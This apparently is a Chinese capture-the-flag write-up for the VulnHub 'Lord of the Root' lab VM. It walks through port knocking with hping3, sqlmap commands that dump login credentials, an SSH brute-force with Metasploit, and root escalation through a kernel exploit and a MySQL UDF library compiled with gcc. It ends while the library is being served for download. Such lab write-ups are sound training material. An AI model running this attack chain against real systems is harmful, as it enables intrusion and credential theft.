靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
目标:得到root权限&找到flag.txt
开机就是个这
目标计算机IP地址:192.168.120.135
只有一个22 端口
尝试 ssh连接
这里有一个知识点:
端口碰撞: 端口上的防火墙通过产生一组预先指定关闭的端口进行连接尝试,
一旦接收到正确的连接尝试序列,防火墙规则就会动态修改,
以允许发送连接尝试的主机通过特定端口进行连接。
使用ping命令冲撞三次试试1,2,3
命令:hping3 -S 192.168.120.135 -p 1 -c 1
通过ping冲撞之后,防火墙规则会修改,重新扫描一次试试
扫出了1337端口,访问
查看下robots.txt
文件
F12四处找找
找到base64值:
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
进行解密
kali里面也可以 (断网情况用)
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
继续进行二次解码
/978345210/index.php
很明显是个目录
访问试试
目前不知道确切的用户名和密码,可以使用SQLMAP进行基于登录表单的注入查看,检索数据库名称和登录凭据
命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms --dbs
继续获取webapp数据表信息
命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp --tables
这里可以看到Users数据表,继续查看数据表信息
命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp -T Users --columns
这里看到了一些专栏,进行转储选出最终结果
命令:sqlmap -o -u "http://192.168.120.135:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump
将这些用户名和密码保存在两个不同的文本中,使用msfconsole 来破解SSH正确的账号密码
上msf
用这个模块 来破解SSH正确的账号密码
账号:smeagol
密码:MyPreciousR00t
二、提权
第一种-Linux内核提权
SSH登录
查看靶机版本
lsb_release -a
查看到ubuntu 14.04 的版本
上msf 找
用这个 进行提权
复制到本地
ok 已经是root权限了
第二-root身份运行MySQL提权
ssh 登录
MySQL以root权限运行、
命令:ps aux | grep mysql
检查数据库版本
命令:mysql --version
有了以上信息,需要exploit进行反弹shell提权
找
用这个
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
将1518.c的shell上传到smeagol用户下
根据1518.c 进行制作反弹shell
cp 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc
制作完成 但是这里 需要
数据库 的账号和密码
一般都在www目录下
ok有了
进入数据库
查看是否可以运用mysql的udf提权
具体 可以看这里:https://blog.csdn.net/wo41ge/article/details/111149351
命令:show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权
所以可以进行mysql的udf提权
查看主机版本及数据库架构
因数据库为i6886,要使用32位udf文件
查看plugin目录地址
此处为上传udf文件地址
/usr/lib/mysql/plugin/
去sqlmap 里面找到udf文件
综上情况 要用32位的.so
将他复制到/root 下
开启端口 进行下载
python -m SimpleHTTPServer 5555